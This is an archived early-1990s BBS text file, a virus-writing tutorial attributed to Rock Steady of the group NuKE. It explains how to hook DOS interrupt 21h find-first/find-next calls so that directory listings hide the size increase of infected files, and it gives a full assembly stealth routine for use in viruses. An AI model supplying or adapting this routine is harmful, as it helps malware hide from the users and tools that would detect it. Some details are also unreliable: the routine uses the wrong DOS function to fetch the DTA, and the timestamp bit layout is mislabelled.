home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / programming / asm_programming / ART-G < prev    next >
Encoding:
Text File  |  1992-09-16  |  6.9 KB  |  93 lines

  1.                        Dir Stealth Method 2                                
  2.                        ~~~~~~~~~~~~~~~~~~~~                                
  3.  Some May notice that when they use PCTOOLs (aka PCSHELL) or Peter Norton  
  4.  Utilities, or *SOME* File Managing systems like DOS-Shell, the File       
  5.  increase of infected files is know visable. There is no doubt about       
  6.  it, if you only put Method #1 in your virus you will encounter times      
  7.  were the file increase shows. Its not because your Routine isn't good!    
  8.  But due to the fact that there is another way to Read the Dir Listing     
  9.  by DOS. An this method is Call File-find by ASCIIZ format.                
  10.                                                                            
  11.  We just learned how to edit File-Find by FCB. Which is used by MS-DOS     
  12.  PC-DOS and some other programs. But unlike the others, they use the       
  13.  ASCIIZ file-Find method as it is EASIER to open, close, edite, and any    
  14.  other file access routine is ALOT easier with the ASCIIZ or (File Handle) 
  15.  system. So we will make our Virus Stealth to Method #2! Making us 100%    
  16.  Stealth from file-finds...                                                
  17.                                                                            
  18.  The Function we have to Intecept is Interrupt 21h, with Functions         
  19.  AH=4Eh (Find First Matching File) and AH=4F (Find Next Matching File)     
  20.  The Way to go about it is Very much ALIKE to the first one, so just       
  21.  understand the thoery, and you'll be able to program it within            
  22.  seconds.                                                                  
  23.                                                                            
  24.  When this function is called, it will fill the current DTA with 12        
  25.  entries totally 43 bytes. The DTA will be set up as follows: (below)      
  26.  BTW: DTA is only a place DOS uses to do Disk Transfer Areas! It ISN'T     
  27.       like the FCB, or PSP that is anyways the same! You can play with     
  28.       this as you wish. You also use this DTA to read the Command Line     
  29.       Parameters...etc...                                                  
  30.                                                                            
  31.   Offset Size            Description                                       
  32.    ─────┼────┼──────────────────────────────────────────                   
  33.     00h │ 1  │ Drive Letter                                                
  34.     01h │ 11 │ Seach Template (Eg:????????COM)                             
  35.     0Ch │ 1  │ Attribute Search                                            
  36.     0Dh │ 2  │ Entry count within Directory                                
  37.     0Fh │ 2  │ Cluster Number of start of parent directory                 
  38.     11h │ 4  │ Reserved (Atleast Undocumented)                             
  39.     15h │ 1  │ Attribute of File FOUND                                     
  40.   @ 16h │ 2  │ File's Time  (Bits : SSSS-SMMM-MMMH-HHHH) Sec/2:Month:Year  
  41.     18h │ 2  │ File's Date  (Bits : DDDD-DMMM-MYYY-YYYY) Day:Month:Year    
  42.   * 1Ah │ 4  │ File's Size (Word Reverse Order, Dah!!?!)                   
  43.     1Eh │ 13 │ ASCIIZ File name & Extension                                
  44.   * = Must be Edited by Virus is File Infected                             
  45.   @ = Needed to Check if File is Infected. (Seconds Field)                 
  46.                                                                            
  47.   %Algorthm%                                                               
  48.   ~~~~~~~~~~                                                               
  49.      CONDISTION: DS:DX points to ASCIIZ of file search.                    
  50.                  CX: Contains File Attributes                              
  51.                                                                            
  52.          Step 1. Call Dos so it fills the DTA with its findings            
  53.          Step 2. Test for CF=1 (Carry Flag) as error happened              
  54.                  errors happen if File not found, no more files etc...     
  55.          Step 3. Get Seconds Field And UnMask Seconds                      
  56.          Step 4. Check if seconds = 58 (What ever your using) Quit if NOT  
  57.                  Notice we use `XOR  AL,1Dh' rather than `CMP   AL,1Dh'    
  58.                  Check in your ASM Bible, which is Faster? Size?           
  59.                  Remember speed & size is EVERYTHING, That is why          
  60.                  My lastest are quite small viriis for stealthness!!       
  61.          Step 5. If Infected Subtract Virus Size from File                 
  62.          Step 6. Quit                                                      
  63.                                                                            
  64.  ;This is the routine. once you get AH=4Eh/4Fh in you Int 21h Call this    
  65.  ;Routine...  (Look at Method #1 for Int21h handler)                       
  66.  Dir_Stealth2                                                              
  67.          pushf                        ;Fake an Int Call                    
  68.          push    cs                   ;Save our location                   
  69.          call    int21Call            ;Step #1                             
  70.          jc      no_good              ;Error Split                         
  71.          push    ax                                                        
  72.          push    bx                                                        
  73.          push    es                                                        
  74.          mov     ah,51h               ;Get Current DTA                     
  75.          int     21h                  ;ES:BX --> DTA                       
  76.                                                                            
  77.          mov     ax,es:[bx+16h]       ;Get File Time                       
  78.          and     ax,1fh               ;Un Mask Seconds field               
  79.          xor     al,1dh               ;Is it 58 Seconds?                   
  80.          jnz     not_infected         ;Not infected! Dah?                  
  81.          sub     es:[bx+1Ah],Virus_Size ;Minus Virus Size!                 
  82.          sbb     es:[bx+1Ch],0          ;Fix up the Sub, Carrying!         
  83.  not_infected:                                                             
  84.          pop     es                                                        
  85.          pop     bx                   ;Restore Registers                   
  86.          pop     ax                                                        
  87.  no_Good:iret                                                              
  88.  ; This code WORKS and is also 100% (c) Rock Steady / NuKE                 
  89.  ;--------------------------EnD-------------------------------             
  90.                                                                            
  91.                             Rock Steady                                    
  92.          `WaTch OuT WaReZ PuPpiEs NuKE PoX V2.0 WiLl GeTcHa'               
  93.